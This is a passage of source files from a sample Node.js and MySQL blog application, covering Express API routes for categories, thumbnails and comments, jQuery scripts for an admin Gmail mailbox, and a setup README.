util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }) }); router.put('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); let data = {}; if (!util.isValidId(id)) throw new Error('Invalid ID...'); if (req.body.name !== null && req.body.name !== undefined && req.body.name !== '') data.name = req.body.name; if (req.body.icon !== null && req.body.icon !== undefined && req.body.icon !== '') data.icon = req.body.icon; if (req.body.description !== null && req.body.description !== undefined && req.body.description !== '') data.description = req.body.description; if (util.isEmpty(data)) throw new Error('No updated data is found...'); let result = (yield categoryModel.update(id, data)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.delete('/:id', util.allowAction, function (req, res) { co(function *() { if (parseInt(req.params.id) !== parseInt(req.body.id)) throw new Error('Invalid ID...'); let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let result = (yield categoryModel.delete(id)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }) }); module.exports = router;<file_sep>/routes/api/v1/thumbnails.js 'use strict'; let express = require('express'); let router = express.Router(); let fs = require('fs'); let co = require('co'); let multer = require('multer'); let util = require('../../../helper/util.js'); let thumbnailModel = require('../../../models/thumbnailModel.js'); let storage = multer.diskStorage({ destination: function (req, file, cb) { cb(null, 'public/assets/uploads'); }, filename: function (req, file, cb) { let today = new Date().toISOString().substr(0, 19).replace(/:/g, '-'); let splitName = file.originalname.split('.'); let name = (req.body.title !== undefined && req.body.title !== null && req.body.title !== '') ? req.body.title : splitName[0]; let fileName = (name + "_" + today + "." + splitName[1]).replace(/ /g, '_'); cb(null, fileName); } }); let upload = multer({storage: storage}).single('thumbnail'); router.get('/', function (req, res) { co(function *() { let thumbnails = (yield thumbnailModel.findAll()); util.sendResponse(res, 200, thumbnails); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/search/:keyword', function (req, res) { co(function *() { let result = (yield thumbnailModel.findByText(req.params.keyword)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }) }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let thumbnail = (yield thumbnailModel.findById(id)); util.sendResponse(res, 200, thumbnail); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/', util.allowAction, function (req, res) { upload(req, res, function (error) { co(function *() { if (error) throw new Error(error.message); let imagePath = util.getImagePath(req.file); if (imagePath === null) throw new Error('Thumbnail is required...'); if (req.body.title === null || req.body.title === undefined || req.body.title === '') { fs.unlink('public/assets/uploads/' + imagePath); throw new Error('Title is required...'); } let result = (yield thumbnailModel.insert({ title: req.body.title, image_path: imagePath })); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); }); router.delete('/:id', util.allowAction, function (req, res) { co(function *() { if (parseInt(req.params.id) !== parseInt(req.body.id)) throw new Error('Invalid ID...'); let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let thumbnail = (yield thumbnailModel.findById(id)); fs.unlink('public/assets/uploads/' + thumbnail.image_path); let result = (yield thumbnailModel.delete(id)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); module.exports = router;<file_sep>/public/javascripts/admin/mail_management_v.js (function ($) { 'use strict'; let Mail = { maxMailNumber: 10, currentPage: 1, maxPage: 1, messages: null, uploadedFiles: [], totalSize: 0, initialize () { this.$mailTable = $('table#mail-table'); this.$mailBody = $('tbody#mail-body'); this.$compose = $('#compose'); this.$refresh = $('.btn-refresh'); this.$remove = $('.btn-remove'); this.$next = $('.btn-next'); this.$prev = $('.btn-prev'); this.$move = $('.btn-move'); this.$loader = $('div#cssload-loader'); this.$loaderWrapper = $('div.loader-bg'); this.build(LABEL); this.events(); }, build (label) { let query = ''; if (label === null) { query = 'in:inbox'; } else if (label === 'Important') { query = 'is:important'; } else if (label === 'Unread') { query = 'is:unread'; } else if (label === 'Starred') { query = 'is:starred'; } else if (label === 'Draft') { query = 'in:draft'; } else if (label === 'Trash') { query = 'in:trash'; } else { query = 'in:sent'; } this.search(query); }, events () { let _self = this; $(window).on('resize', function (event) { _self.setMailSidebarHeight(); }); // Sidebar events $('.btn-list').on('click', function (event) { let active = $('.btn-list.btn-active'); let clicked = $(this); if (active === clicked) return; active.removeClass('btn-active'); clicked.addClass('btn-active'); }); $('#inbox').on('click', function (event) { _self.changeButton(true); _self.search("in:inbox"); }); $('#unread').on('click', function (event) { _self.changeButton(true); _self.search("is:unread"); }); $('#important').on('click', function (event) { _self.changeButton(true); _self.search("is:important"); }); $('#starred').on('click', function (event) { _self.changeButton(true); _self.search("is:starred"); }); $('#draft').on('click', function (event) { _self.changeButton(true); _self.search("in:draft"); }); $('#sent-mail').on('click', function (event) { _self.changeButton(true); _self.search("in:sent"); }); $('#trash').on('click', function (event) { _self.changeButton(false); _self.search("in:trash"); }); this.$mailTable.on('click', 'input[type="checkbox"]', function (event) { let $tr = $(this).closest('tr'); if ($tr.hasClass('selected')) $tr.removeClass('selected'); else $tr.addClass('selected'); }).on('click', 'tbody tr', function (event) { if ($(event.target).hasClass('mail-checkbox')) return; let id = $(event.currentTarget).data('id'); if (id === undefined || id === '') return; let label = $('.btn-list.btn-active span').text().trim(); window.location.href = "/admin/messages/" + id + (label !== 'Inbox' ? ('?label=' + label) : ''); }); this.$refresh.on('click', function () { let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); }); this.$next.on('click', function (event) { if (_self.$next.hasClass('disabled')) return false; _self.currentPage++; if (_self.currentPage === _self.maxPage) _self.$next.addClass('disabled'); if (_self.currentPage > 1) _self.$prev.removeClass('disabled'); _self.manageMail(_self.messages); }); this.$prev.on('click', function (event) { if (_self.$prev.hasClass('disabled')) return false; _self.currentPage--; if (_self.currentPage === 1) _self.$prev.addClass('disabled'); if (_self.currentPage < _self.maxPage) _self.$next.removeClass('disabled'); _self.manageMail(_self.messages); }); this.$remove.on('click', function (event) { let selectedMails = $('tr.selected'); let length = selectedMails.length; if (length === 0) return false; let ids = ''; let glue = ''; for (let i = 0; i < length; i++) { ids += (glue + selectedMails.eq(i).data('id')); if (glue === '') glue = ','; } $.ajax({ url: '/api/v1/messages', type: 'DELETE', dataType: 'json', data: {ids: ids}, timeout: 50000, success (data, status, errorThrown) { let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); let success = $('#success-dialog'); success.text('Messages successfully have been moved to trash'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); } }); }); this.$move.on('click', function (event) { let selectedMails = $('tr.selected'); let length = selectedMails.length; if (length === 0) return false; let ids = ''; let glue = ''; for (let i = 0; i < length; i++) { ids += (glue + selectedMails.eq(i).data('id')); if (glue === '') glue = ','; } $.ajax({ url: '/api/v1/messages/untrash', type: 'PUT', dataType: 'json', data: {ids: ids}, timeout: 50000, success (data, status, errorThrown) { let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); let success = $('#success-dialog'); success.text('Messages successfully have been moved to trash'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); } }); }); $(document).on('click', 'i.attachment-remove', function (event) { let item = $(this).closest('div.upload-attachment'); let index = item.index(); _self.uploadedFiles.splice(index, 1); _self.totalSize -= parseInt(item.data('size')); item.remove(); }); $('button.error-close').on('click', function (event) { $('div.error-wrapper').fadeOut(); }); $('#compose-modal').on({ 'hidden.bs.modal': function (event) { _self.resetForm(); } }); $('#modal-input-attachments').on('change', function (event) { let files = this.files; let length = files.length; if (length === 0) return; let attachmentPreview = $('div.attachment-preview'); let submit = $('#modal-submit'); submit.prop('disabled', true); for (let i = 0; i < length; i++) { (function (file, index) { let reader = new FileReader(); reader.onload = function (event) { _self.uploadedFiles.push({data: event.target.result.split('base64,')[1], name: file.name, type: file.type}); _self.totalSize += file.size; let item = '<div data-size="' + file.size +'" class="upload-attachment"><span>' + file.name +' (' + _self.convertFileSize(file.size, true) + ')<i class="fa fa-times attachment-remove"></i></span></div>'; attachmentPreview.append(item); if (index === (length - 1)) { submit.prop('disabled', false); } }; reader.readAsDataURL(file); })(files[i], i); } }); $('form#modal-form').on('submit', function (event) { event.preventDefault(); let to = $('#modal-input-to').val().trim(); let subject = $('#modal-input-subject').val().trim(); let body = $('#modal-input-body').val().trim(); let hasAttachments = _self.uploadedFiles.length !== 0; if (to === '' || (subject === '' && body === '')) { return _self.showError("You need to fill out all inputs..."); } let data = new FormData(); data.append('to', to); data.append('subject', subject); data.append('body', body); data.append('hasAttachment', hasAttachments); if (hasAttachments) { data.append('boundary', 'masa_blog_mail'); data.append('attachments', JSON.stringify(_self.uploadedFiles)); } let dataSize = (body.length * 2 /* 1 character -> 2byte */) + _self.totalSize; if (dataSize > (3 * 1024 * 1024 /* 3MB */)) { return _self.showError("Message content and file size (" + dataSize + " byte) is too large..."); } _self.sendEmail(data); }); return this; }, sendEmail (data) { let _self = this; let cancel = $('#compose-modal').find('button:last-child'); let submit = $('#modal-submit'); $.ajax({ url: '/api/v1/messages', type: 'POST', dataType: 'json', data: data, processData: false, contentType: false, timeout: 50000, beforeSend (xhr, settings) { submit.prop('disabled', true); cancel.click(); }, complete (xhr, settings) { submit.prop('disabled', false); }, success (data, status, errorThrown) { _self.resetForm(); let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); let success = $('#success-dialog'); success.text('Messages successfully have been moved to trash'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { _self.resetForm(); let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); let label = $('.btn-list.btn-active span').text().trim(); _self.build(label !== 'Inbox' ? label : null); } }); }, search (label) { let _self = this; this.loader(true); $.ajax({ url: '/api/v1/messages/search', type: 'GET', dataType: 'json', data: {label: label}, timeout: 50000, success (data, status, errorThrown) { _self.loader(false); _self.currentPage = 1; _self.messages = data; _self.maxPage = Math.ceil(data.length / parseFloat(_self.maxMailNumber)); if (data.length > _self.maxMailNumber) _self.$next.removeClass('disabled'); else if (!_self.$next.hasClass('disabled')) _self.$next.addClass('disabled'); if (!_self.$prev.hasClass('disabled')) _self.$prev.addClass('disabled'); _self.manageMail(data); }, error (data, status, errorThrown) { _self.loader(false); let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }, manageMail (data) { let start = (this.currentPage - 1) * this.maxMailNumber; let mailLength = data.length; let length = Math.min(mailLength, (start + this.maxMailNumber)); let items = this.$mailBody.find('tr'); let itemLength = items.length; let difference = itemLength - (length - start); if (difference > 0) { items.slice((itemLength - difference), itemLength).remove(); } for (let i = start; i < length; i++) { let message = data[i]; let isRead = message.labelIds.indexOf("UNREAD") === -1; let from = this.extractFieldHeader(message, 'From').split(' <')[0].replace(/"/g, ''); let date = moment(new Date(this.extractFieldHeader(message, 'Received').split(';')[1].trim())).format('MMMM DD'); let subject = message.snippet.substr(0, 70) + '...'; if (i >= (start + itemLength)) { let mailContent = [ '<tr data-id="' + message.id + '" class="' + (isRead ? 'mail-read' : '') + '">', '<td><input type="checkbox" class="checkbox mail-checkbox" /><span class="sender">' + from + '</span>', '<span class="sm-date">' + date + '</span><span class="sm-desc">' + subject + '</span></td>', '<td>' + subject + '</td><td>' + date + '</td></tr>' ].join(' '); this.$mailBody.append(mailContent); } else { let item = items.eq(i - start); let hasReadClass = item.hasClass('mail-read'); item.data('id', message.id); item.removeClass('selected'); item.find('input[type="checkbox"]').prop('checked', false); if (hasReadClass && !isRead) item.removeClass('mail-read'); else if (!hasReadClass && isRead) item.addClass('mail-read'); item.find('span.sender').text(from); item.find('span.sm-date').text(date); item.find('sm-desc').text(subject); item.find('td:nth-child(2)').text(subject); item.find('td:nth-child(3)').text(date); } } $('span.showing-start').text(mailLength !== 0 ? (start + 1) : 0); $('span.showing-end').text(length); $('span.showing-length').text(mailLength); $('p.showing-text').css('display', 'block'); this.setMailSidebarHeight(); }, extractFieldHeader (json, fieldName) { fieldName = fieldName.toLowerCase(); let header = json.payload.headers.filter(function(header) { return (header.name.toLowerCase() === fieldName); }); return (header.length !== 0 ? header[0].value : ''); }, loader (show) { let buttons = $('.btn-manage'); if (show) { buttons.addClass('disabled'); this.$loaderWrapper.fadeIn(); this.$loader.fadeIn(); } else { buttons.removeClass('disabled'); this.$loaderWrapper.fadeOut(); this.$loader.fadeOut(); } }, changeButton (showRemove) { if (showRemove) { this.$move.css('display', 'none'); this.$remove.css('display', 'inline-block'); } else { this.$move.css('display', 'inline-block'); this.$remove.css('display', 'none'); } }, resetForm () { $('form#modal-form').get(0).reset(); $('#modal-input-attachments').val(''); $('div.attachment-preview').find('div.upload-attachment').remove(); this.uploadedFiles = []; this.totalSize = 0; }, convertFileSize (bytes, si) { let thresh = si ? 1000 : 1024; if(Math.abs(bytes) < thresh) { return bytes + ' B'; } let units = si ? ['kB','MB','GB','TB','PB','EB','ZB','YB'] : ['KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB']; let u = -1; do { bytes /= thresh; ++u; } while(Math.abs(bytes) >= thresh && u < units.length - 1); return bytes.toFixed(1)+' '+units[u]; }, showError (error) { $('.error-text').text(error); $('div.error-wrapper').fadeIn(); }, setMailSidebarHeight () { let sidebar = $('div.mail-sidebar'); let wrapper = $('div.box-wrapper'); if ($(window).width() >= 991) { let mailWrapper = $('div.mail-wrapper'); let height = mailWrapper.height() + parseInt(mailWrapper.css('padding-top').replace('px', '')) * 2; sidebar.height(height - 30); wrapper.height(height); } else { sidebar.height('auto'); wrapper.height('auto'); } } }; $(function () { Mail.initialize(); }); }).apply(this, [jQuery]);<file_sep>/README.md ## MasaBlog Sample Blog with Node.js (ExpressJS) and MySQL ### Installation Step 1. Clone files from repository Step 2. Create `environments` and `environments.js` environments ```bash MYSQL_DATABASE={Database Name} MYSQL_USER={User} MYSQL_PASSWORD={<PASSWORD>} ``` environments.js ```js exports.MYSQL_DATABASE = "{Database Name}"; exports.MYSQL_USER = "{MySQL User}"; exports.MYSQL_PASSWORD = "{<PASSWORD>}"; exports.BLOG_NAME = '{Blog Name}'; exports.BLOG_HOME_DESC = '{Blog Description}'; exports.MAIL_PROVIDER = '{Mail Provider}'; exports.MAIL_SENDER_USER = '{Mail address that you want to use to send mail from}'; exports.MAIL_SENDER_PASSWORD = '{<PASSWORD>}'; exports.MAIL_RECEIVER_USER = '{Mail address that you want to receive email}'; exports.MAIL_RECEIVER_PASSWORD = '{<PASSWORD>}'; ``` Step 3.Start MySQL by command below and Create Database from `docs/db_configuration.sql` ```bash $ docker-compose up -d ``` Step 4. Run following command to start application ```bash $ npm install $ npm start ``` Step 5. Get your OpenWeather API Key from [OpenWeather](https://openweathermap.org/) and Set your location and key at [Profile page](http://localhost:3000/admin/profile) Step 6. Enojoy!! ### Configuration #### Initial Admin Login ```bash Username: root Password: <PASSWORD> ``` #### Gmail Integration (via gmail api) ##### **Turn on the Gmail API** 1. Use this [wizard](https://console.developers.google.com/flows/enableapi?apiid=gmail&hl=ja&pli=1) to create or select a project in the Google Developers Console and automatically turn on the API. Click **Continue**, then Go to **credentials**. 2. On the **Add credentials to your project page**, click the **Cancel** button. 3. At the top of the page, select the **OAuth consent screen** tab. Select an **Email address**, enter a **Product name** if not already set, and click the **Save** button. 4. Select the **Credentials** tab, click the **Create credentials** button and select **OAuth client ID**. 5. Select the application type **Web Application**, enter the name that you like, and click the **Create** button. 6. Click **OK** to dismiss the resulting dialog. 7. Click the :arrow_down: (Download JSON) button to the right of the **client ID**. ##### **Change admin settings to integrate with gmail** 1. Go to your admin potal's [Profile](http://localhost:3000/admin/profile) page and copy and past downloaded **client ID json** file. ##### **Authorize your google account** 1. After update your profile, you will see **Email** at side menu and click it. 2. Then you should see red button with **Authorize** text. 3. You click it and you will allow your google account to allow full permission ##### **After authorized your account** 1. After you that, you are good to go and you can read, writer and modify your email!<file_sep>/public/javascripts/admin/mail_v.js (function ($) { 'use strict'; let Mail = { uploadedFiles: [], replyFiles: [], totalSize: 0, replySize: 0, initialize () { this.$loader = $('div#cssload-loader'); this.$loaderWrapper = $('div.loader-bg'); this._message = MESSAGE; this._attachments = ATTACHMENTS; if (!IS_READ) { this.markAsRead(); } if (this._attachments.length !== 0) { this.getAttachments(); } this.events(); this.setMailSidebarHeight(); this.loader(false); }, events () { let _self = this; $('iframe').on('load', function() { this.style.height = this.contentWindow.document.body.offsetHeight + 40 + 'px'; _self.setMailSidebarHeight(); }); $(window).on('resize', function (event) { _self.setMailSidebarHeight(); }); // Sidebar events $('#inbox').on('click', function (event) { window.location.href = "/admin/messages"; }); $('#unread').on('click', function (event) { window.location.href = "/admin/messages?label=Unread"; }); $('#important').on('click', function (event) { window.location.href = "/admin/messages?label=Important"; }); $('#starred').on('click', function (event) { window.location.href = "/admin/messages?label=Starred"; }); $('#draft').on('click', function (event) { window.location.href = "/admin/messages?label=Draft"; }); $('#sent-mail').on('click', function (event) { window.location.href = "/admin/messages?label=Sent Mail"; }); $('#trash').on('click', function (event) { window.location.href = "/admin/messages?label=Trash"; }); $(document).on('click', 'div.attachment-item', function (event) { let itemIndex = $(this).data('index'); _self.saveAttachment(_self._attachments[itemIndex]); }); $(document).on('click', 'i.attachment-remove', function (event) { let item = $(this).closest('div.upload-attachment'); let index = item.index(); _self.uploadedFiles.splice(index, 1); _self.totalSize -= parseInt(item.data('size')); item.remove(); }); $('button.error-close').on('click', function (event) { $('div.error-wrapper').fadeOut(); }); $('#compose-modal').on({ 'hidden.bs.modal': function (event) { _self.resetForm(); } }); $('#modal-input-attachments').on('change', function (event) { let files = this.files; let length = files.length; if (length === 0) return; let attachmentPreview = $('div.attachment-preview'); let submit = $('#modal-submit'); submit.prop('disabled', true); for (let i = 0; i < length; i++) { (function (file, index) { let reader = new FileReader(); reader.onload = function (event) { _self.uploadedFiles.push({data: event.target.result.split('base64,')[1], name: file.name, type: file.type}); _self.totalSize += file.size; let item = '<div data-size="' + file.size +'" class="upload-attachment"><span>' + file.name +' (' + _self.convertFileSize(file.size, true) + ')<i class="fa fa-times attachment-remove"></i></span></div>'; attachmentPreview.append(item); if (index === (length - 1)) { submit.prop('disabled', false); } }; reader.readAsDataURL(file); })(files[i], i); } }); $('form#modal-form').on('submit', function (event) { event.preventDefault(); let to = $('#modal-input-to').val().trim(); let subject = $('#modal-input-subject').val().trim(); let body = $('#modal-input-body').val().trim(); let hasAttachments = _self.uploadedFiles.length !== 0; if (to === '' || (subject === '' && body === '')) { return _self.showError("You need to fill out all inputs..."); } let data = new FormData(); data.append('to', to); data.append('subject', subject); data.append('body', body); data.append('hasAttachment', hasAttachments); if (hasAttachments) { data.append('boundary', 'masa_blog_mail'); data.append('attachments', JSON.stringify(_self.uploadedFiles)); } let dataSize = (body.length * 2 /* 1 character -> 2byte */) + _self.totalSize; if (dataSize > (3 * 1024 * 1024 /* 3MB */)) { return _self.showError("Message content and file size (" + dataSize + " byte) is too large..."); } _self.sendEmail(data); }); // Reply Events $('a.btn-reply').on('click', function (event) { $('div.reply-form').show(); $(this).parent().hide(); _self.setMailSidebarHeight(); }); $('#reply-cancel').on('click', function (event) { $('div.reply-form').hide(); $('span.reply-message').show(); $('textarea#reply-input-body').val(''); $('div.reply-preview').find('div.upload-attachment').remove(); _self.replyFiles = []; _self.replySize = 0; _self.setMailSidebarHeight(); }); $('#reply-input-attachments').on('change', function (event) { let files = this.files; let length = files.length; if (length === 0) return; let attachmentPreview = $('div.reply-preview'); let submit = $('#reply-submit'); submit.prop('disabled', true); for (let i = 0; i < length; i++) { (function (file, index) { let reader = new FileReader(); reader.onload = function (event) { _self.replyFiles.push({data: event.target.result.split('base64,')[1], name: file.name, type: file.type}); _self.replySize += file.size; let item = '<div data-size="' + file.size +'" class="upload-attachment"><span>' + file.name +' (' + _self.convertFileSize(file.size, true) + ')<i class="fa fa-times reply-attachment-remove"></i></span></div>'; attachmentPreview.append(item); if (index === (length - 1)) { submit.prop('disabled', false); } }; reader.readAsDataURL(file); })(files[i], i); } }); $(document).on('click', 'i.reply-attachment-remove', function (event) { let item = $(this).closest('div.upload-attachment'); let index = item.index(); _self.replyFiles.splice(index, 1); _self.replySize -= parseInt(item.data('size')); item.remove(); }); $('#reply-submit').on('click', function (event) { let id = $('input#reply-input-id').val(); let to = $('input#reply-input-to').val(); let subject = $('input#reply-input-subject').val(); let body = $('textarea#reply-input-body').val(); let hasAttachments = _self.replyFiles.length !== 0; if (id === '' || to === '' || subject === '') { return _self.showError("Something is wrong with this email, please reload the page..."); } let data = new FormData(); data.append('inReplyTo', id); data.append('to', to); data.append('subject', subject); data.append('body', body); data.append('hasAttachment', hasAttachments); if (hasAttachments) { data.append('boundary', 'masa_blog_mail'); data.append('attachments', JSON.stringify(_self.replyFiles)); } let dataSize = (body.length * 2 /* 1 character -> 2byte */) + _self.replySize; if (dataSize > (3 * 1024 * 1024 /* 3MB */)) { return _self.showError("Message content and file size (" + dataSize + " byte) is too large..."); } _self.replyEmail(data); }); return this; }, sendEmail (data) { let _self = this; let cancel = $('#compose-modal').find('button:last-child'); let submit = $('#modal-submit'); $.ajax({ url: '/api/v1/messages', type: 'POST', dataType: 'json', data: data, processData: false, contentType: false, timeout: 50000, beforeSend (xhr, settings) { submit.prop('disabled', true); cancel.click(); }, complete (xhr, settings) { submit.prop('disabled', false); }, success (data, status, errorThrown) { _self.resetForm(); let success = $('#success-dialog'); success.text('Messages successfully have been sent'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { _self.resetForm(); let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }, replyEmail (data) { let _self = this; let cancel = $('#reply-cancel'); let submit = $('#reply-submit'); $.ajax({ url: '/api/v1/messages/reply', type: 'POST', dataType: 'json', data: data, processData: false, contentType: false, timeout: 50000, beforeSend (xhr, settings) { submit.prop('disabled', true); cancel.click(); }, complete (xhr, settings) { submit.prop('disabled', false); }, success(data, status, errorThrown) { let success = $('#success-dialog'); success.text('Reply messages successfully have been sent'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error(data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }, resetForm () { $('form#modal-form').get(0).reset(); $('#modal-input-attachments').val(''); $('div.attachment-preview').find('div.upload-attachment').remove(); this.uploadedFiles = []; this.totalSize = 0; }, convertFileSize (bytes, si) { let thresh = si ? 1000 : 1024; if(Math.abs(bytes) < thresh) { return bytes + ' B'; } let units = si ? ['kB','MB','GB','TB','PB','EB','ZB','YB'] : ['KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB']; let u = -1; do { bytes /= thresh; ++u; } while(Math.abs(bytes) >= thresh && u < units.length - 1); return bytes.toFixed(1)+' '+units[u]; }, showError (error) { $('.error-text').text(error); $('div.error-wrapper').fadeIn(); }, loader (show) { let buttons = $('.btn-manage'); if (show) { buttons.addClass('disabled'); this.$loaderWrapper.fadeIn(); this.$loader.fadeIn(); } else { buttons.removeClass('disabled'); this.$loaderWrapper.fadeOut(); this.$loader.fadeOut(); } }, markAsRead() { let _self = this; $.ajax({ url: '/api/v1/messages/markAsRead/' + ID, type: 'PUT', dataType: 'json', timeout: 50000, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }, getAttachments () { let _self = this; let ids = '', glue = ''; let length = this._attachments.length; for (let i = 0; i < length; i++) { ids += (glue + this._attachments[i].id); if (glue === '') glue = ','; } $.ajax({ url: '/api/v1/messages/attachments/' + ID, type: 'GET', dataType: 'json', data: {attachmentIds: ids}, timeout: 50000, success (data, status, errorThrown) { let attachmentWrapper = $('div.attachmet-wrapper'); for (let i = 0; i < length; i++) { _self._attachments[i].data = data[i].data.replace(/-/g, '+').replace(/_/g, '/'); _self._attachments[i].size = data[i].size; let type = _self._attachments[i].contentType.toLowerCase(); let icon = 'fa fa-file-o'; if (type.indexOf('image') !== -1) { icon = 'fa fa-file-image-o'; } else if (type.indexOf('pdf') !== -1) { icon = 'fa fa-file-pdf-o'; } else if (type.indexOf('word') !== -1) { icon = 'fa fa-file-word-o'; } let attachmentIcon = [ '<div data-index="' + i + '" class="icon-wrapper attachment-item"><i class="' + icon + ' box-icon"><span class="fix-editor">' + _self._attachments[i].filename + '</span></i></div>' ].join(' '); attachmentWrapper.append(attachmentIcon); } _self.setMailSidebarHeight(); $('div.attachment-item').on('mouseover', function (event) { _self.setMailSidebarHeight(); }); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }, saveAttachment (data) { let byteString = atob(data.data); // Convert that text into a byte array. let ab = new ArrayBuffer(byteString.length); let ia = new Uint8Array(ab); for (let i = 0; i < byteString.length; i++) { ia[i] = byteString.charCodeAt(i); } // Blob for saving. let blob = new Blob([ia], { type: data.contentType }); // Tell the browser to save as report.pdf. saveAs(blob, data.filename); }, setMailSidebarHeight () { let sidebar = $('div.mail-sidebar'); let wrapper = $('div.box-wrapper'); if ($(window).width() >= 991) { let mailWrapper = $('div.mail-wrapper'); let height = mailWrapper.height() + parseInt(mailWrapper.css('padding-top').replace('px', '')) * 2; sidebar.height(height - 30); wrapper.height(height); } else { sidebar.height('auto'); wrapper.height('auto'); } } }; $(function () { Mail.initialize(); }); }).apply(this, [jQuery]);<file_sep>/routes/api/v1/comments.js 'use strict'; let express = require('express'); let router = express.Router(); let util = require('../../../helper/util.js'); let co = require('co'); let nodemailer = require('nodemailer'); let config = require('../../../docs/environments.js'); let commentModel = require('../../../models/commentModel.js'); let transporter = nodemailer.createTransport({ service: config.MAIL_PROVIDER, auth: { user: config.MAIL_RECEIVER_USER, pass: config.MAIL_RECEIVER_PASSWORD } }); router.get('/', function (req, res) { co(function *() { let comments = (yield commentModel.findAll()); util.sendResponse(res, 200, comments); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/post/refresh/:post_id', function (req, res) { co(function *() { let id = parseInt(req.params.post_id); if (!util.isValidId(id)) throw new Error('Invalid Post ID...'); let comments = (yield commentModel.findUserCommentsByPost(id)); let replies = (yield commentModel.findReplyByPost(id)); util.sendResponse(res, 200, {comments: comments, replies: replies}); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/post/:post_id', function (req, res) { co(function *() { let id = parseInt(req.params.post_id); if (!util.isValidId(id)) throw new Error('Invalid Post ID...'); let comments = (yield commentModel.findByPost(id)); util.sendResponse(res, 200, comments); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid Comment ID...'); let comment = (yield commentModel.findById(id)); util.sendResponse(res, 200, comment); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/', function (req, res) { co(function *() { let regex = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; let data = req.body; if (data.post_id === undefined || !util.isValidId(parseInt(data.post_id))) throw new Error('Invalid Post ID...'); if (data.username === undefined || data.username === '') throw new Error('Username is required...'); if (data.email === undefined || data.email === '' || !regex.test(data.email)) throw new Error('Email is required...'); if (data.comments === undefined || data.comments === '') throw new Error('Comment Body is required...'); let result = (yield commentModel.insert({ post_id: data.post_id, username: data.username, email: data.email, comments: data.comments, date: new Date(), is_active: true })); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/reply', function (req, res) { co(function *() { let regex = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; let data = req.body; if (data.post_id === undefined || !util.isValidId(parseInt(data.post_id))) throw new Error('Invalid Post ID...'); if (data.reply_to === undefined || !util.isValidId(parseInt(data.reply_to))) throw new Error('Invalid Comment ID...'); if (data.username === undefined || data.username === '') throw new Error('Username is required...'); if (data.email === undefined || data.email === '' || !regex.test(data.email)) throw new Error('Email is required...'); if (data.comments === undefined || data.comments === '') throw new Error('Comment Body is required...'); let result = (yield commentModel.insert({ post_id: data.post_id, reply_to: data.reply_to, username: data.username, email: data.email, comments: data.comments, date: new Date(), is_active: true })); // Sending notification email to commenter let url = 'http://' + req.header('host') + '/posts/' + data.post_id; let mailBody = [ "<p>Hello " + data.commenterUsername + ",</p><br>", "<p>You have reply to your comment at 